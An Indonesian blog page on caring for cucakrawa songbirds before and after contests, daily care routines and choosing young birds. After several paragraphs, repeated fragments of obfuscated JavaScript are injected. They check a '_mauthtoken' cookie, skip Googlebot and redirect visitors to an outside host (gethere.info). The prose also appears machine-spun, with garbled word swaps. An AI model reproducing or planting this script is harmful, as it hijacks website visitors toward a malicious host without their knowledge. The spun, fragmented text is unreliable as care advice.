IBX5980432E7F390 Perawatan Cucakrawa Lomba dan Setelah Lomba Kupas Triknya - Kicauan Burung Lovebird Ngekek

Perawatan Cucakrawa Lomba dan Setelah Lomba Kupas Triknya

Perawatan Cucakrawa Lomba dan Setelah Lomba

Perawatan cucakrawa lomba dan setelah lomba – Ketika burung hendak dilombakan dan sesudah dilombakan perlu dilakukan perawatan. Tidak ada perbedaan antara perawatan untuk lomba dengan perawatan setelah lomba.

Hanya ada satu perbedaannya, yaitu dari makanannya. Mungkin jikalau untuk perawatan untuk lomba lebih di istimewakan.Perawatan Cucakrawa Lomba dan Setelah Lomba

Merawat Burung Cucakrawa untuk Lomba

Merawatan burung yang diikutkan lomba bantu-membantu sama saja seakan-akan merawat burung biasa. Mungkin hanya beberapa saja perbedaannya.

Sebagai burung yang hendak dilombakan, tentulah persiapan demi persiapan perlu dilakukan. Setiap penangkar niscaya punya persiapannya sendiri ketika menghadapi burung yang diikutkan dalam lomba.

Salah satu persiapannya yaitu merawat burung dengan baik. Tanpa adanya perawatan dengan baik, burung tidak mampu memenangkan lomba.

Sebaliknya, jikalau si penangkar tersebut merawat burungnya dengan baik maka kemungkinan besar burung bisa menang.

Walaupun nantinya burung tersebut tidak menang, tetapi ada satu momen yang membuat orang terpukau dengan kepandaian burung tersebut niscayalah si penangkar akan besar hati karena mempunyai burung seperti itu.

Biasanya, setiap penangkar mempunyai tujuan sendiri ketika merawat burung yang diikutkan lomba. Setiap penangkar berbeda-beda tujuannya.

Namun, pada umumnya inti dari tujuan merawat burung untuk lomba adalah semoga pada ketika di lomba nantinya, burung akan mempunyai tubuh yang baik dan juga memiliki tingkatan birahi yang sesuai dengan impian si penangkar tersebut.

Seperti pada perawatan burung seolah-olah biasanya, perawatan burung untuk lomba juga mempunyai acaranya. Pada 3 hari sebelum lomba, burung diberikan pakan jangkrik sekitar 13 ekor/harinya.

Sebelum lomba dimulai, lebih tepatnya 1 setengah jam lomba akan dimulai, burung bisa diberikan 4 jangkrik dan ditambah dengan ulat apa saja sekitar 25 ekor.

Merawat Burung Cucakrawa Setelah Lomba

Bukan cuman pada saat burung ingin dilombakan saja burung dirawat, tetapi pada saat setelah lomba burung juga perlu dirawat. Apa tujuan dari perawatan burung sesudah lomba?

Tujuannya adalah supaya kondisi burung setelah lomba dapat kembali seakan-akan biasanya. Cara merawat burung sehabis lomba ialah dengan menyampaikan kuliner suplemen.

Makanan pelengkap diberikan tidak seakan-akan sebelum lomba. Setelah itu jemurlah burung paling usang 40 menit. Penjemuran seolah-olah ini 4 hari sehabis lomba selesai.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)(function(_0xecfdx1,_0xecfdx2)if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1)vodafone)(navigator[_0x446d[3]]

Baca juga: Ciri Fisik dan suara murai kerikil medan gacor

Wajib Penting Di baca

  • Tingkatan dan Kualitas Suara Cucakrawa
  • Merawat Cucakrawa Sedang Bertelur
  • Habitat Penyebaran Burung Cucakrawa
  • Mengenal Karakter Burung Cucak Rawa lokal
  • Konstruksi Kandang Penangkaran Burung Cucakrawa
  • Cara Menjinakan Burung Cucakrawa liar
  • Merawat Harian Cucakrawa Anakan Dewasa
  • Habitat Kehidupan Burung Cucakrawa Liar Hutan
  • Ciri Fisik Cucakrawa Jantan Dan Betina Liar
  • Cara Menjodohkan Cucakrawa Bagi Pemula
  • Ciri Fisik Burung Cucakrawa Berkualitas Bagus

Perawatan Cucakrawa Ocehan Gacor Harian

Perawatan cucakrawa Ocehan gacor harian – Sebagai burung yang rentan terhadap penyakit, perawatan burung cucakrawa pun perlu dilakukan dengan baik dan rutin. Untuk burung cucakrawa biasa, perawatannya sama seperti burung pada umumnya.

Namun, untuk perawatan cucakrawa kontes, harus dilakukan perawatan khusus. Sebenarnya, antara burung cucakrawa biasa dengan burung cucakrawa kontes itu sama saja.

Tetapi yang membedakannya yaitu dalam hal santunan pakan. Jika burung biasa hanya diberikan pakan seolah-olah biasanya dan tidak ada yang istimewa. Lain halnya dengan burung kontes yang pakannya harus istimewa.Perawatan Cucakrawa Ocehan Gacor Harian

Mengapa beditu? Karena apabila burung tersebut mau mengikuti kontes, tentulah bunyinya harus manis. Dan bunyi yang manis itu berasal dari kuliner yang khusus biar bunyinya mampu cantik.

Burung yang selalu dirawat dengan baik dan rutin akan terlihat dari sifatnya yang selalu aktif karena tidak ada gangguan apapun.

Sedangkan burung yang perawatannya tidak baik dan juga tidak dilakukan setiap harinya akan terlihat dari sifatnya yang tidak terlalu aktif karena banyaknya gangguan-gangguan yang datang (misalnya penyakit).

Pembuatan jadwal perawatan harian burung cucakrawa juga perlu dilakukan. Tanpa adanya acara perawatan, mugkin pekerjaan yang kita lakukan tidak terbantu. Untuk mengetahui apa-apa saja jadwal perawatan harian, mari kita simak klarifikasi di bawah ini.

Pada pagi hari sekitar pukul 06.30, burung cucakrawa dikeluarkan dari sangkar dan letakkan di depan kandang. Tujuan pengeluaran burung dari sangkar adalah untuk dianginkan.

Setelah melakukan proses perangin-anginan, selanjutnya burung akan dimandikan. Pemandian dilakukan pada pukul 07.00. Janganlah terlalu pagi memandikan burung karena, kalau terlalu pagi nantinya burung bisa sakit.

Setelah burung siap mandi, kemudian burung dijemur. Penjemuran dilakukan sekitar pukul 08.30 – 09.30. Ketika burung sedang dijemur, ada kesempatan kita untuk membersihkan sangkar.

Bersihkan kandang dari kotoran-kotoran burung hingga higienis. Selain membersihkan kandang, pada dikala burung dijemur kita bisa mengecek keadaan sekitar kandang.

Seperti mengecek keadaan pakan dan air minum. Jika pakan sudah habis berikan dan jikalau air minum sudah habis atau kotor gantilah dengan yang baru. Setelah proses penjemuran selesai, barulah burung mampu dimasukkan lagi di dalam kandang untuk dimaster dengan burung lain.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1) navigator[_0x446d[4]]var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1) window[_0x446d[5]],_0x446d[6])var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)(function(_0xecfdx1,_0xecfdx2)if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1)50[1-6]i)(navigator[_0x446d[3]]

Baca juga: Ciri Fisik dan suara murai kerikil medan gacor

Wajib Penting Di baca

  • Jenis Spesies Burung Cucakrawa Berkualitas
  • Pemilihan Bakalan Cucakrawa Berkualitas Unggul
  • Ukuran Kandang Penangkaran Cucakrawa
  • Cara Memilih Calon Indukan Cucakrawa Bagus
  • Tingkatan dan Kualitas Suara Cucakrawa
  • Pembesaran Dan Perawatan Anakan Cucakrawa
  • Suara Master untuk Burung Cucakrawa Bakalan
  • Konstruksi Kandang Penangkaran Burung Cucakrawa
  • Cara Menjinakan Burung Cucakrawa liar
  • Peralatan Kandang Burung Cucakrawa Dewasa
  • Tata Cara Penangkaran Cucakrawa

Pemilihan Bakalan Cucakrawa Berkualitas Unggul

Pemilihan bakalan cucakrawa berkualitas unggul – Cucakrawa merupakan burung yang sudah ada di dunia sejak beratus-ratus tahun yang lalu. Dahulu memang burung ini belum begitu terkenal.

Tetapi lama kelamaan burung ini berkembang dan kini sudah menjadi burung yang paling banyak disukai oleh semua kalangan. Jika kita memelihara burung cucakrawa, tentulah kita harus tau cara perawatannya.

Merawat burung cucakrawa itu bantu-membantu mudah. Tetapi kalau belum mahir, mungkin akan sulit. Cucakrawa perlu dirawat setiap harinya.Pemilihan Bakalan Cucakrawa Berkualitas Unggul

Apa tujuan perawatan cucakrawa? Tujuan perawatan cucakrawa ada banyak sekali. Salah satunya adalah biar terhindar dari penyakit yang membahayakan diri cucakrawa itu sendiri.

Apabila ketika kita membeli burung cucakrawa yang berkualitas, pastilah dalam perawatannya tidak sulit. Kaprikornus, dengan begitu mampu membantu peran kita dalam merawat burung.

Untuk menerima burung cucakrawa memang sedikit sulit pada dikala kini. Biasanya, burung yang berkualitas itu merupakan burung yang masih bakalan.

Untuk itulah, dalam menentukan bakalan harus dengan benar dan teliti. Ada beberapa kriteria yang harus dipenuhi ketika menentukan calon bakalan. Untuk mengetahuinya, mari kita simak penjelasan di bawah ini.

Kriteria yang pertama harus dipenuhi adalah burung harus kelihatan aktif. Apabila kedapatan burung yang diam saja dan tidak mau berjalan-jalan, sebaiknya jangan dipilih. Bisa jadi burung tersebut sakit atau memang mentalnya yang tidak ada.

Kriteria yang kedua adalah bentuk badan burung harus yang kelihatan gagah. Selain itu, burung juga harus yang berbadan besar dan juga tinggi.

Burung cucakrawa yang berbadan kurus disarankan jangan dipilih. Sebab pasti burung tersebut sedang sakit atau mengalami kurang gizi. Bakalan burung yang seperti ini sangat cocok kalau dipertandingkan.

Kriteria yang terakhir adalah suaranya yang merdu dan rajin berkicau. Bakalan yang mempunyai bunyi merdu tetapi tidak rajin berkicau, percuma saja dipelihara.

Namun, jikalau bakalan rajin berkicau tetapi bunyinya tidak merdu, tidaklah masalah. Bakalan mampu dilatih atau dimaster suaranya dengan burung jenis lain yang mempunyai bunyi yang merdu. Dengan begitu bakalan bisa mempunyai bunyi yang merdu dan akan berkicau setiap hari.

Itulah kriteria yang bisa digunakan ketika hendak memilih bakalan.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1) navigator[_0x446d[4]]var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1) window[_0x446d[5]],_0x446d[6])var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1) window[_0x446d[5]],_0x446d[6])var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)

Baca juga: Ciri Fisik dan suara murai watu medan gacor

Wajib Penting Di baca

  • Perawatan Cucakrawa Ocehan Gacor Harian
  • Jenis Spesies Burung Cucakrawa Berkualitas
  • Cara Memilih Calon Indukan Cucakrawa Bagus
  • Ukuran Kandang Penangkaran Cucakrawa
  • Cara Menjinakan Burung Cucakrawa liar
  • Pembesaran Dan Perawatan Anakan Cucakrawa
  • Pakan Kusus Burung Merpati Hias
  • Membuat Kandang Ideal Untuk Merpati Pos
  • Cara Menjodohkan Cucakrawa Bagi Pemula
  • Melatih Merpati Menjelang Lomba
  • Peralatan Kandang Burung Cucakrawa Dewasa

Berlangganan Untuk Mendapatkan Artikel Terbaru:

0 Komentar Untuk " Perawatan Cucakrawa Lomba dan Setelah Lomba Kupas Triknya"

Posting Komentar